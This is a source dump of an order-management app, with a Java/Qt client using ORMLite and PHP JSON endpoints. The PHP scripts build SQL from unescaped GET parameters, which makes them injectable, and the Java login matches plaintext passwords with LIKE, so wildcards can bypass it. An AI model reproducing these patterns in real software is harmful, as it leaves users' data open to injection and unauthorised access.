// connectionSource = new JdbcPooledConnectionSource(obj.get("jdbcUrl").getAsString(), obj.get("username").getAsString(), obj.get("password").getAsString());
// connectionSource.setTestBeforeGet(true);
timer.setInterval(SESSION_LENGTH);
timer.timeout.connect(this, "keepSessionAlive()");
timer.start();
} catch (SQLException ex) {
reporter.error(I18n.errorWhileConnectingToDatabase);
throw new RuntimeException();
}
}
private void keepSessionAlive() {
try {
//query to keep connection is not closed
Dao dao = getDao(Tax.class);
dao.queryForAll();
} catch (SQLException ex) {
}
}
private String readFile(String filePath) throws IOException {
String result = "";
try {
File file = new File(filePath);
BufferedReader br = new BufferedReader(new FileReader(file));
StringBuilder sb = new StringBuilder();
String line = br.readLine();
while (line != null) {
sb.append(line);
line = br.readLine();
}
result = sb.toString();
} catch (IOException ex) {
throw ex;
}
return result;
}
@Override
public void createTablesIfNessecary() {
try {
TableUtils.createTableIfNotExists(connectionSource, Catalog.class);
TableUtils.createTableIfNotExists(connectionSource, Company.class);
TableUtils.createTableIfNotExists(connectionSource, Unit.class);
TableUtils.createTableIfNotExists(connectionSource, Tax.class);
TableUtils.createTableIfNotExists(connectionSource, DiscountType.class);
TableUtils.createTableIfNotExists(connectionSource, Office.class);
TableUtils.createTableIfNotExists(connectionSource, User.class);
TableUtils.createTableIfNotExists(connectionSource, Supplier.class);
TableUtils.createTableIfNotExists(connectionSource, Product.class);
TableUtils.createTableIfNotExists(connectionSource, Order.class);
TableUtils.createTableIfNotExists(connectionSource, Item.class);
TableUtils.createTableIfNotExists(connectionSource, OrderStatus.class);
} catch (SQLException ex) {
logger.error("createTablesIfNessecary", ex);
reporter.error(I18n.errorWhileCreatingDatabase);
throw new RuntimeException();
}
}
@Override
public Dao getDao(Class clazz) throws SQLException {
return DaoManager.createDao(connectionSource, clazz);
}
@Override
public User login(String username, String password) {
try {
Dao<User, Integer> dao = getDao(User.class);
//TO-DO: binary check login
return (User) dao.queryForFirst(dao.queryBuilder().where()
.like(User.USERNAME_FIELD, username).and()
.like(User.PASSWORD_FIELD, password).and()
.eq(ISACTIVE, 1).prepare());
} catch (SQLException ex) {
logger.error("login", ex);
return null;
}
}
@Override
public List<User> getUser(String query) {
try {
Dao<User, Integer> dao = getDao(User.class);
return dao.query(dao.queryBuilder().where().like(User.USERNAME_FIELD, "%" + query + "%").and().eq(ISACTIVE, 1).prepare());
} catch (SQLException ex) {
logger.error("getUser", ex);
return new ArrayList<User>();
}
}
@Override
public List<Order> getOrder(Filter filter) {
try {
Dao<Order, Integer> dao = getDao(Order.class);
QueryBuilder qb = dao.queryBuilder();
setOffsetAndLimit(qb, filter);
// qb.where().between(Order.CREATED_DATE_FIELD, filter.dateFrom, filter.dateTo).and().like(Order.CODE_FIELD, "%" + filter.orderCode + "%").and().eq(ISACTIVE, 1);
qb.where().between(Order.CREATED_DATE_FIELD, filter.dateFrom, filter.dateTo).and().eq(ISACTIVE, 1);
// qb.orderBy(Order.CODE_FIELD, false);
List<Order> res = dao.query(qb.prepare());
if (res == null) {
res = new ArrayList<Order>();
}
return res;
} catch (SQLException ex) {
logger.error("getOrder", ex);
return new ArrayList<Order>();
}
}
@Override
public void createOrUpdateOrder(Order order) {
try {
Dao orderDao = getDao(Order.class);
Dao itemDao = getDao(Item.class);
order.lastChangedDate = new Date();
if (order.code == null || order.code.isEmpty()) { //new order
Filter filter = new Filter();
filter.isActive = null;
order.code = Cache.getUserInitial() + "/" + countOrder(filter);
}
CloseableIterator<Item> iterator = order.items.closeableIterator();
try {
while (iterator.hasNext()) {
Item item = iterator.next();
item.order = order;
itemDao.createOrUpdate(item);
}
} finally {
// close it at the end to close underlying SQL statement
iterator.close();
}
orderDao.createOrUpdate(order);
} catch (SQLException ex) {
logger.error("createOrUpdateOrder", ex);
}
}
@Override
public List<Supplier> getSupplier(Filter filter) {
try {
Dao dao = getDao(Supplier.class);
QueryBuilder qb = dao.queryBuilder();
qb.orderBy(Supplier.CODE_FIELD, true);
setOffsetAndLimit(qb, filter);
PreparedQuery query = qb.where().like(Supplier.CODE_FIELD, "%" + filter.supplierCode + "%").and().eq(ISACTIVE, 1).prepare();
List<Supplier> res = dao.query(query);
if (res == null) {
res = new ArrayList<Supplier>();
}
return res;
} catch (SQLException ex) {
logger.error("getSupplier", ex);
return new ArrayList<Supplier>();
}
}
@Override
public void createOrUpdateSupplier(Supplier supplier) {
try {
Dao dao = getDao(Supplier.class);
dao.createOrUpdate(supplier);
} catch (SQLException ex) {
logger.error("createTablesIfNessecary", ex);
}
}
@Override
public long countSupplier(Filter filter) {
try {
Dao dao = getDao(Supplier.class);
QueryBuilder qb = dao.queryBuilder().setCountOf(true);
PreparedQuery query = qb.where().like(Supplier.CODE_FIELD, "%" + filter.supplierCode + "%").and().eq(ISACTIVE, 1).prepare();
return dao.countOf(query);
} catch (SQLException ex) {
logger.error("countSupplier", ex);
return 0;
}
}
@Override
public List<Product> getProduct(Filter filter) {
try {
Dao dao = getDao(Product.class);
QueryBuilder qb = dao.queryBuilder();
qb.orderBy(Product.ID_FIELD, false);
PreparedQuery query = null;
setOffsetAndLimit(qb, filter);
Where wherePhrase = qb.where().like(Product.CODE_FIELD, "%" + filter.productCode + "%").and().eq(ISACTIVE, 1);
if (filter.id != null) {
wherePhrase = wherePhrase.and().idEq(filter.id);
}
if (filter.supplier != null) {
wherePhrase = wherePhrase.and().eq("supplier_id", filter.supplier.id);
};
query = wherePhrase.prepare();
List<Product> res = dao.query(query);
if (res == null) {
res = new ArrayList<Product>();
} else {
for (Product product : res) {
product.finalPrice = Utils.getValueWithDiscount(product.originalPrice, product.discountValue, product.discountType);
}
}
return res;
} catch (SQLException ex) {
logger.error("getProduct", ex);
return new ArrayList<Product>();
}
}
@Override
public List<DiscountType> getDiscountTypes() {
try {
Dao dao = getDao(DiscountType.class);
return dao.query(dao.queryBuilder().orderBy(ID, true).prepare());
} catch (SQLException ex) {
logger.error("getDiscountType", ex);
return new ArrayList<DiscountType>();
}
}
@Override
public List<Tax> getTax() {
try {
Dao dao = getDao(Tax.class);
return dao.queryForAll();
} catch (SQLException ex) {
logger.error("getTax", ex);
return new ArrayList<Tax>();
}
}
@Override
public List<Unit> getUnit() {
try {
Dao dao = getDao(Unit.class);
return dao.queryForAll();
} catch (SQLException ex) {
logger.error("getUnit", ex);
return new ArrayList<Unit>();
}
}
private void setOffsetAndLimit(QueryBuilder qb, Filter filter) throws SQLException {
if (filter.pageNum != null && filter.pageSize != null) {
qb.offset(filter.pageNum * filter.pageSize).limit(filter.pageSize);
}
}
@Override
public void createOrUpdateProduct(Product bean) {
try {
Dao dao = getDao(Product.class);
dao.createOrUpdate(bean);
} catch (SQLException ex) {
logger.error("createOrUpdateProduct", ex);
}
}
@Override
public List<Catalog> getCatalog() {
try {
Dao dao = getDao(Catalog.class);
return dao.queryForAll();
} catch (SQLException ex) {
logger.error("getCatalog", ex);
return new ArrayList<Catalog>();
}
}
@Override
public long countProduct(Filter filter) {
try {
Dao dao = getDao(Product.class);
QueryBuilder qb = dao.queryBuilder().setCountOf(true);
PreparedQuery query = qb.where().like(Product.CODE_FIELD, "%" + filter.productCode + "%").and().eq(ISACTIVE, 1).prepare();
return dao.countOf(query);
} catch (SQLException ex) {
logger.error("countProduct", ex);
return 0;
}
}
@Override
public List<OrderStatus> getOrderStatuses() {
try {
Dao dao = getDao(OrderStatus.class);
return dao.query(dao.queryBuilder().orderBy(ID, true).prepare());
} catch (SQLException ex) {
logger.error("getOrderStatus", ex);
return new ArrayList<OrderStatus>();
}
}
@Override
public Supplier getSupplierByCode(String supplierCode) {
if (supplierCode == null) {
return null;
}
try {
Dao dao = getDao(Supplier.class);
QueryBuilder qb = dao.queryBuilder();
List<Supplier> list = dao.query(qb.where().eq(Supplier.CODE_FIELD, supplierCode).and().eq(ISACTIVE, 1).prepare());
if (list == null || list.size() != 1) {
return null;
}
return list.get(0);
} catch (SQLException ex) {
logger.error("getSupplierByCode", ex);
return null;
}
}
@Override
public Product getProductByCodeAndSupplier(String productCode, Supplier supplier) {
if (productCode == null) {
return null;
}
try {
Dao dao = getDao(Product.class);
QueryBuilder qb = dao.queryBuilder();
List<Product> list = dao.query(qb.where().eq(Product.CODE_FIELD, productCode).and().eq("supplier_id", supplier.id).and().eq(ISACTIVE, 1).prepare());
if (list == null || list.size() != 1) {
return null;
}
return list.get(0);
} catch (SQLException ex) {
logger.error("getProductByCode", ex);
return null;
}
}
@Override
public long countOrder(Filter filter) {
try {
Dao dao = getDao(Order.class);
QueryBuilder qb = dao.queryBuilder();
qb.setCountOf(true);
if (filter.isActive != null) {
qb.where().between(Order.CREATED_DATE_FIELD, filter.dateFrom, filter.dateTo).and().like(Order.CODE_FIELD, "%" + filter.orderCode + "%").and().eq(ISACTIVE, filter.isActive);
} else {
qb.where().between(Order.CREATED_DATE_FIELD, filter.dateFrom, filter.dateTo).and().like(Order.CODE_FIELD, "%" + filter.orderCode + "%");
}
return dao.countOf(qb.prepare());
} catch (SQLException ex) {
logger.error("countOrder", ex);
return 0;
}
}
@Override
public Product getProductById(Integer productId) {
if (productId == null) {
return null;
}
try {
Dao dao = getDao(Product.class);
List<Product> list = dao.query(dao.queryBuilder().where().idEq(productId).and().eq(ISACTIVE, 1).prepare());
if (list == null || list.size() != 1) {
return null;
}
return list.get(0);
} catch (SQLException ex) {
logger.error("getProductById", ex);
return null;
}
}
}
<file_sep>/src/main/java/pl/lss/cjambi/ccms/bean/Supplier.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.bean;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
/**
*
* @author ctran
*/
@DatabaseTable
public class Supplier {
public static final String SELF = "self";
public static final String CODE_FIELD = "code";
public static final String NAME_FIELD = "name";
public static final String NOTE_FIELD = "note";
public Supplier self = this;
@DatabaseField(generatedId = true)
public Integer id;
@DatabaseField
public String code;
@DatabaseField
public String name;
@DatabaseField
public String note;
@DatabaseField(foreign = true)
public Company company;
@DatabaseField
public Integer isActive = 1;
public Supplier() {
}
}
<file_sep>/ccms/update_order.php
<?php
error_reporting(0);
include("db_config.php");
$uuid = $_GET['uuid'];
$orderId = $_GET['orderId'];
$packQuantity = $_GET['packQuantity'];
$productQuantity = $_GET['productQuantity'];
$value = $_GET['value'];
// array for JSON response
$response = array();
$result = mysqli_query($conn, "SELECT 1 FROM user WHERE BINARY uuid = '$uuid'") or die(mysqli_error($conn));
if (mysqli_num_rows($result) > 0 ) {
$result = mysqli_query($conn, "UPDATE `order` SET lastChangedDate = NOW(), packQuantity = $packQuantity, productQuantity = $productQuantity, total = $value, value = $value WHERE id = $orderId AND isActive = 1") or die(mysqli_error($conn));
$response['success'] = 1;
} else {
$response['success'] = 0;
}
echo json_encode($response);
mysqli_close($conn);
?><file_sep>/src/main/java/pl/lss/cjambi/ccms/utils/Styles.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.utils;
/**
*
* @author ctran
*/
public class Styles {
public static final String QLINEEDIT_RED_BORDER = "QLineEdit{border: 1px solid red;}";
public static final String TOOLBAR = "QToolButton {height: 48px; width: 48px;}";
}
<file_sep>/ccms/read_all_orders.php
<?php
error_reporting(0);
include("db_config.php");
$initial = $_GET['initial'];
// array for JSON response
$response = array();
// get all items from myorder table
$result = mysqli_query($conn, "SELECT * FROM `order` WHERE isActive = 1 AND status_id = 1 AND createdDate >= CURDATE() AND code LIKE '".$initial."%'") or die(mysqli_error($conn));
$response["success"] = 1;
$response["orders"] = array();
if (mysqli_num_rows($result) > 0) {
while ($row = mysqli_fetch_array($result)) {
// temp user array
$order = array();
$order["id"] = $row["id"];
$order["code"] = $row["code"];
$order["packQuantity"] = $row["packQuantity"];
$order["productQuantity"] = $row["productQuantity"];
$order["total"] = $row["total"];
$order["value"] = $row["value"];
$order["createdDate"] = $row["createdDate"];
// push ordered items into response array
array_push($response["orders"], $order);
}
}
// echoing JSON response
echo json_encode($response);
mysqli_close($conn);
?><file_sep>/src/main/java/pl/lss/cjambi/ccms/utils/converter/ForeignCollectionToListConverter.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.utils.converter;
import com.j256.ormlite.dao.CloseableIterator;
import com.j256.ormlite.dao.Dao;
import com.j256.ormlite.dao.ForeignCollection;
import java.util.ArrayList;
import java.util.List;
import pl.lss.cjambi.ccms.db.DbService;
import pl.lss.cjambi.ccms.db.DbServiceImpl;
import pl.lss.cjambi.ccms.utils.BeanUtils;
import pl.lss.cjambi.ccms.utils.SplittedString;
/**
*
* @author ctran
*/
public class ForeignCollectionToListConverter implements Converter<ForeignCollection, List> {
private static final DbService db = DbServiceImpl.getInstance();
private Object bean;
private String propName;
/**
*
* @param bean bean which contains ForeignCollection
* @param propName ForeignCollection property name
*/
public ForeignCollectionToListConverter(Object bean, String propName) {
this.bean = bean;
this.propName = propName;
}
@Override
public ForeignCollection toData(List state) throws Exception {
Dao dao = db.getDao(bean.getClass());
SplittedString ss = new SplittedString(propName, ".");
String parentPropName = null;
String childPropName = ss.first;
if (ss.last != null) {
parentPropName = ss.first;
childPropName = ss.last;
}
Object parent = BeanUtils.getProperty(bean, parentPropName);
ForeignCollection collection = (ForeignCollection) BeanUtils.getProperty(bean, propName);
if (collection == null) {
dao.assignEmptyForeignCollection(parent, childPropName);
collection = (ForeignCollection) BeanUtils.getProperty(bean, propName);
} else {
collection.clear();
}
collection.addAll(state);
return collection;
}
@Override
public List toPresentation(ForeignCollection data) throws Exception {
List l = new ArrayList<>();
if (data != null) {
CloseableIterator it = data.closeableIterator();
try {
while (it.hasNext()) {
l.add(it.next());
}
} finally {
it.close();
}
}
return l;
}
}
<file_sep>/src/main/java/pl/lss/cjambi/ccms/view/dialog/ItemEditDialog.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.view.dialog;
import com.trolltech.qt.gui.QFormLayout;
import com.trolltech.qt.gui.QIcon;
import com.trolltech.qt.gui.QLabel;
import com.trolltech.qt.gui.QWidget;
import pl.lss.cjambi.ccms.bean.Item;
import pl.lss.cjambi.ccms.bean.Order;
import pl.lss.cjambi.ccms.bean.Product;
import pl.lss.cjambi.ccms.bean.Supplier;
import pl.lss.cjambi.ccms.db.DbService;
import pl.lss.cjambi.ccms.db.DbServiceImpl;
import pl.lss.cjambi.ccms.resources.I18n;
import pl.lss.cjambi.ccms.resources.IconResources;
import pl.lss.cjambi.ccms.utils.BeanUtils;
import pl.lss.cjambi.ccms.utils.Styles;
import pl.lss.cjambi.ccms.utils.Utils;
import pl.lss.cjambi.ccms.utils.converter.DoubleToStringConverter;
import pl.lss.cjambi.ccms.utils.converter.IntegerToStringConverter;
import pl.lss.cjambi.ccms.view.widget.LineEdit;
/**
*
* @author ctran
*/
public class ItemEditDialog extends BeanEditDialog<Item> {
private DbService db = DbServiceImpl.getInstance();
private Order order;
// private SuggestBox product;
private LineEdit id;
private QLabel supplier, packSizeLbl;
private LineEdit requiredPack, price, quantity, value;
private Integer packSize;
private Supplier selectedSupplier = null;
private Product selectedProduct = null;
public ItemEditDialog(Order order) {
super();
// product = new SuggestBox(Product.class, Product.CODE_FIELD) {
//
// @Override
// public List fetchData() {
// Filter filter = new Filter();
// filter.productCode = text();
// return db.getProduct(filter);
// }
// };
id = new LineEdit();
// product.completer().activatedIndex.connect(this, "onProductChanged()");
id.editingFinished.connect(this, "onProductChanged()");
supplier = new QLabel();
packSizeLbl = new QLabel();
requiredPack = new LineEdit();
quantity = new LineEdit();
price = new LineEdit();
value = new LineEdit();
requiredPack.textChanged.connect(this, "onRequiredPackChanged()");
quantity.textChanged.connect(this, "onQuantityOrPriceChanged()");
price.textChanged.connect(this, "onQuantityOrPriceChanged()");
build();
}
private void onRequiredPackChanged() {
try {
Integer rp = (Integer) editor.convertWidgetState(requiredPack);
quantity.setState(rp * packSize);
} catch (Exception ex) {
}
}
private void onQuantityOrPriceChanged() {
try {
Integer q = (Integer) editor.convertWidgetState(quantity);
Double p = (Double) editor.convertWidgetState(price);
value.setState(Utils.round(q * p));
} catch (Exception ex) {
}
}
private void onProductChanged() {
try {
selectedProduct = null;
selectedSupplier = null;
// Object obj = tryConvert(product);
// if (obj == null) {
// return;
// }
// Product selectedProduct = (Product) obj;
if (id.text() == null || id.text().isEmpty()) {
return;
}
selectedProduct = db.getProductById(Integer.parseInt(id.text()));
selectedSupplier = selectedProduct.supplier;
updateProductInfo(selectedProduct);
requiredPack.setState(0);
quantity.setState(0);
price.setState(BeanUtils.getProperty(selectedProduct, Product.FINAL_PRICE_FIELD));
} catch (Exception ex) {
reporter.error(I18n.sorryErrorHasAppeared);
}
}
@Override
protected QIcon getDialogIcon() {
return IconResources.APP_ICON;
}
@Override
protected String getDialogTitle() {
return I18n.productInfo;
}
@Override
protected QWidget buildContent() {
QWidget widget = new QWidget();
QFormLayout form = new QFormLayout(widget);
// form.addRow(new QLabel(I18n.product), product);
form.addRow(new QLabel(I18n.ID), id);
form.addRow(new QLabel(I18n.supplier), supplier);
form.addRow(new QLabel(I18n.packSize), packSizeLbl);
form.addRow(new QLabel(I18n.requiredPacks), requiredPack);
form.addRow(new QLabel(I18n.quantity), quantity);
form.addRow(new QLabel(I18n.finalPrice), price);
form.addRow(new QLabel(I18n.value), value);
// editor.addMapping(product, Item.PRODUCT_FIELD, new ProductToCodeConverter() {
//
// @Override
// public Supplier getSupplier() {
// return selectedSupplier;
// }
// });
editor.addMapping(requiredPack, Item.REQUIRED_PACK_FIELD, new IntegerToStringConverter(0));
editor.addMapping(quantity, Item.QUANTITY_FIELD, new IntegerToStringConverter());
editor.addMapping(price, Item.PRICE_FIELD, new DoubleToStringConverter());
editor.addMapping(value, Item.TOTAL_FIELD, new DoubleToStringConverter());
return widget;
}
public Item getItem() {
return bean;
}
@Override
protected void onOkBtnClicked() throws Exception {
super.onOkBtnClicked(); //To change body of generated methods, choose Tools | Templates.
close();
}
@Override
protected void customFillBeanAfterCommit() {
bean.order = order;
bean.product = selectedProduct;
}
@Override
protected boolean validate() {
return setStyleSheet(id, Styles.QLINEEDIT_RED_BORDER, selectedProduct != null)
&& setStyleSheet(requiredPack, Styles.QLINEEDIT_RED_BORDER, !checkTextWidgetEmpty(requiredPack) && isConvertable(requiredPack))
&& setStyleSheet(quantity, Styles.QLINEEDIT_RED_BORDER, !checkTextWidgetEmpty(quantity) && isConvertable(quantity))
&& setStyleSheet(price, Styles.QLINEEDIT_RED_BORDER, !checkTextWidgetEmpty(price) && isConvertable(price) && ((Double) tryConvert(price) > 0))
&& setStyleSheet(value, Styles.QLINEEDIT_RED_BORDER, !checkTextWidgetEmpty(value) && isConvertable(value));
}
public void updateProductInfo(Product selectedProduct) {
try {
supplier.setText((String) BeanUtils.getProperty(selectedProduct, Product.SUPPLIER_CODE_FIELD));
packSize = (Integer) BeanUtils.getProperty(selectedProduct, Product.PACK_SIZE_FIELD);
packSizeLbl.setText(Utils.toStringOrEmpty(packSize));
} catch (Exception ex) {
reporter.error(I18n.sorryErrorHasAppeared);
}
}
@Override
protected void customFillWidgetsBeforeExec() throws Exception {
if (bean.product != null) {
id.setState(bean.product.id);
selectedProduct = db.getProductById(Integer.parseInt(id.text()));
id.setEnabled(false);
}
}
}
<file_sep>/ccms/read_product_info.php
<?php
error_reporting(0);
include("db_config.php");
$id = $_GET['id'];
// array for JSON response
$response = array();
$result = mysqli_query($conn, "SELECT p.code, p.packSize, p.finalPrice, s.code as supplier_code FROM `product` p JOIN `supplier` s ON p.supplier_id = s.id WHERE p.isActive = 1 AND p.id = '$id'") or die(mysqli_error($conn));
if (mysqli_num_rows($result) > 0 ) {
$row = mysqli_fetch_array($result);
$response['success'] = 1;
$response['product_code'] = $row['code'];
$response['product_pack_size'] = $row['packSize'];
$response['finalPrice'] = $row['finalPrice'];
$response['supplier_code'] = $row['supplier_code'];
} else {
$response['success'] = 0;
}
echo json_encode($response);
mysqli_close($conn);
?><file_sep>/ccms/read_order_items.php
<?php
error_reporting(0);
include("db_config.php");
// array for JSON response
$response = array();
$id=$_GET['id'];
// get all items from myorder table
$result = mysqli_query($conn, "SELECT i.id, i.product_id, p.code, i.requiredPack, i.quantity, i.price, i.value FROM `item` i left join `product` p on i.product_id = p.id WHERE i.isActive = 1 and i.order_id = '$id' ") or die(mysqli_error($conn));
$response["success"] = 1;
$response["items"] = array();
if (mysqli_num_rows($result) > 0) {
while ($row = mysqli_fetch_array($result)) {
// temp user array
$item = array();
$item["id"] = $row["id"];
$item["productId"] = $row["product_id"];
$item["code"] = $row["code"];
$item["requiredPack"] = $row["requiredPack"];
$item["quantity"] = $row["quantity"];
$item["price"] = $row["price"];
$item["value"] = $row["value"];
// push ordered items into response array
array_push($response["items"], $item);
}
// success
}
// echoing JSON response
echo json_encode($response);
mysqli_close($conn);
?><file_sep>/src/main/java/pl/lss/cjambi/ccms/view/dialog/ConfirmDialog.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.view.dialog;
import com.trolltech.qt.gui.QIcon;
import com.trolltech.qt.gui.QLabel;
import com.trolltech.qt.gui.QWidget;
import pl.lss.cjambi.ccms.resources.I18n;
import pl.lss.cjambi.ccms.resources.IconResources;
/**
*
* @author ctran
*/
public class ConfirmDialog extends OkCloseDialog {
private static final ConfirmDialog instance = new ConfirmDialog();
public static ConfirmDialog getInstance() {
return instance;
}
private QLabel message;
private ConfirmDialog() {
super();
message = new QLabel();
build();
}
@Override
protected QIcon getDialogIcon() {
return IconResources.WARNING_ICON;
}
@Override
protected String getDialogTitle() {
return I18n.warning;
}
@Override
protected QWidget buildContent() {
return message;
}
public ConfirmDialog setMessage(String message) {
this.message.setText(message);
return this;
}
}
<file_sep>/src/test/java/pl/lss/cjambi/ccms/view/OrderTest.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.view;
import pl.lss.cjambi.ccms.db.DbService;
/**
*
* @author ctran
*/
public class OrderTest {
private static DbService db;
public static void main(String[] args) {
// db = Cache.getInstance(DbService.class);
// db.getOrder(new Filter());
}
}
<file_sep>/src/test/java/pl/lss/cjambi/ccms/db/DbServiceImplTest.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.db;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;
/**
*
* @author ctran
*/
public class DbServiceImplTest {
private static DbService db;
public DbServiceImplTest() {
}
@BeforeClass
public static void setUpClass() {
// db = Cache.getInstance(DbService.class);
// Order order = db.getOrder(new Filter()).get(0);
// db.createOrUpdateOrder(order);
}
@AfterClass
public static void tearDownClass() {
}
@Test
public void testGetOrder() {
// db.getOrder(new Filter());
}
}
<file_sep>/src/main/java/pl/lss/cjambi/ccms/view/dialog/OkCloseDialog.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.view.dialog;
import com.trolltech.qt.gui.QDialogButtonBox;
import com.trolltech.qt.gui.QPushButton;
import com.trolltech.qt.gui.QWidget;
import pl.lss.cjambi.ccms.resources.I18n;
import pl.lss.cjambi.ccms.resources.IconResources;
/**
*
* @author ctran
*/
public abstract class OkCloseDialog extends OkDialog {
protected QPushButton closeBtn;
protected OkCloseDialog() {
super();
closeBtn = new QPushButton(IconResources.CANCEL_ICON, I18n.close);
}
@Override
protected QWidget buildButtons() {
QDialogButtonBox box = new QDialogButtonBox();
box.addButton(okBtn, QDialogButtonBox.ButtonRole.AcceptRole);
box.addButton(closeBtn, QDialogButtonBox.ButtonRole.RejectRole);
okBtn.clicked.connect(this, "onOkBtnClicked()");
closeBtn.clicked.connect(this, "onCloseBtnClicked()");
return box;
}
protected void onCloseBtnClicked() {
close();
setResult(DialogCode.Rejected.value());
}
}
<file_sep>/src/main/java/pl/lss/cjambi/ccms/utils/converter/DefaultConverter.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.utils.converter;
/**
*
* @author ctran
*/
public class DefaultConverter implements Converter<Object, Object> {
@Override
public Object toData(Object presentation) throws Exception {
return presentation;
}
@Override
public Object toPresentation(Object data) throws Exception {
return data;
}
}
<file_sep>/ccms/create_new_order.php
<?php
error_reporting(0);
include("db_config.php");
$uuid = $_GET['uuid'];
$initial = $_GET['initial'];
$company_id = $_GET['company_id'];
// array for JSON response
$response = array();
$result = mysqli_query($conn, "SELECT 1 FROM user WHERE BINARY uuid = '$uuid'") or die(mysqli_error($conn));
if (mysqli_num_rows($result) > 0 ) {
$result = mysqli_query($conn, "SELECT COUNT(1) AS order_count FROM `order` WHERE createdDate >= CURDATE()") or die(mysqli_error($conn));
$row = mysqli_fetch_array($result);
$code = $initial."/".($row['order_count']);
$result = mysqli_query($conn, "INSERT INTO `order`(code, createdDate, lastChangedDate, company_id) VALUES('$code', NOW(), NOW(), $company_id)") or die(mysqli_error($conn));
$response['success'] = 1;
$response['order_id'] = mysqli_insert_id($conn);
} else {
$response['success'] = 0;
}
echo json_encode($response);
mysqli_close($conn);
?><file_sep>/src/main/java/pl/lss/cjambi/ccms/utils/Utils.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.utils;
import java.nio.charset.Charset;
import java.text.DecimalFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.List;
import org.apache.log4j.Logger;
import pl.lss.cjambi.ccms.bean.DiscountType;
import pl.lss.cjambi.ccms.bean.Item;
/**
*
* @author ctran
*/
public class Utils {
private static final Utils instance = new Utils();
private static final Logger logger = Logger.getLogger(Utils.class);
private static final DecimalFormat doubleFormatter = new DecimalFormat("#.##");
private static final SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy HH:mm:ss");
private static final String[] monthName = {"Tháng Một", "Tháng Hai", "Tháng Ba", "Tháng Tư", "Tháng Năm", "Tháng Sáu",
"Tháng Bảy", "Tháng Tám", "Tháng Chín", "Tháng Mười", "Tháng Mười một", "Tháng Mười hai"};
static {
doubleFormatter.setMinimumFractionDigits(2);
doubleFormatter.setMaximumFractionDigits(2);
}
public static String toStringOrEmpty(Object obj) {
if (obj == null) {
return "";
} else {
return String.valueOf(obj);
}
}
public static String toStringOrDefaultIfNull(Object defaultValue, Object data) {
if (data == null) {
return toStringOrEmpty(defaultValue);
} else {
return toStringOrEmpty(data);
}
}
public static List<String> splitToArray(String cmd, String seperator) {
List<String> res = new ArrayList<>();
SplittedString ss;
while (cmd != null) {
ss = new SplittedString(cmd, seperator);
res.add(ss.first);
cmd = ss.last;
}
return res;
}
public static String toStringSimpleDate(Date date) {
return sdf.format(date);
}
public static Date parseDate(String s) throws ParseException {
return sdf.parse(s);
}
public static Double parseDoubleOrDefaultIfEmpty(Double defaultValue, String s) throws NumberFormatException {
if (s == null || s.isEmpty()) {
return defaultValue;
}
s = s.replaceAll("\\s+", "");
s = s.replace(',', '.');
return Double.parseDouble(s);
}
public static Integer parseIntOrDefaultIfEmpty(Integer defaultValue, String s) throws NumberFormatException {
if (s == null || s.isEmpty()) {
return defaultValue;
}
return Integer.parseInt(s);
}
public static Date getStartOfDay(Date date) {
Calendar calendar = Calendar.getInstance();
calendar.setTime(date);
calendar.set(Calendar.HOUR_OF_DAY, 0);
calendar.set(Calendar.MINUTE, 0);
calendar.set(Calendar.SECOND, 0);
return calendar.getTime();
}
public static Date getEndOfDay(Date date) {
Calendar calendar = Calendar.getInstance();
calendar.setTime(date);
calendar.set(Calendar.HOUR_OF_DAY, 23);
calendar.set(Calendar.MINUTE, 59);
calendar.set(Calendar.SECOND, 59);
return calendar.getTime();
}
public static Double getValueWithDiscount(Double value, Double discountValue, DiscountType discountType) {
if (discountValue != null && discountValue > 0) {
if (discountType.name.equals("%")) {
value = (1 - discountValue / 100.0) * value;
} else {
value -= discountValue;
}
}
return value;
}
public static String toUTF8OrEmpty(Object value) {
byte[] data = toStringOrEmpty(value).getBytes();
String res = new String(data, Charset.forName("UTF-8"));
return res;
}
public static Double round(double value) {
return Double.parseDouble(doubleFormatter.format(value).replace(",", "."));
}
public static void removeInvalidItemFromOrder(List<Item> items) {
List<Item> oldState = new ArrayList<>();
for (Item item : items) {
oldState.add(item);
}
items.clear();
for (Item item : oldState) {
if (item.isActive > 0) {
items.add(item);
}
}
}
public static String toStringSimpleDateAsText(Date date) {
SimpleDateFormat sdf = new SimpleDateFormat("dd-MM");
String s = sdf.format(date);
String sDate = s.substring(0, 2);
String sMonth = s.substring(3, 5);
return sDate + ", " + monthName[Integer.parseInt(sMonth) - 1];
}
public static void main(String[] args) {
toStringSimpleDateAsText(new Date());
}
}
<file_sep>/src/main/java/pl/lss/cjambi/ccms/view/dialog/OkDialog.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.view.dialog;
import com.trolltech.qt.gui.QDialogButtonBox;
import com.trolltech.qt.gui.QPushButton;
import com.trolltech.qt.gui.QWidget;
import pl.lss.cjambi.ccms.resources.I18n;
import pl.lss.cjambi.ccms.resources.IconResources;
/**
*
* @author ctran
*/
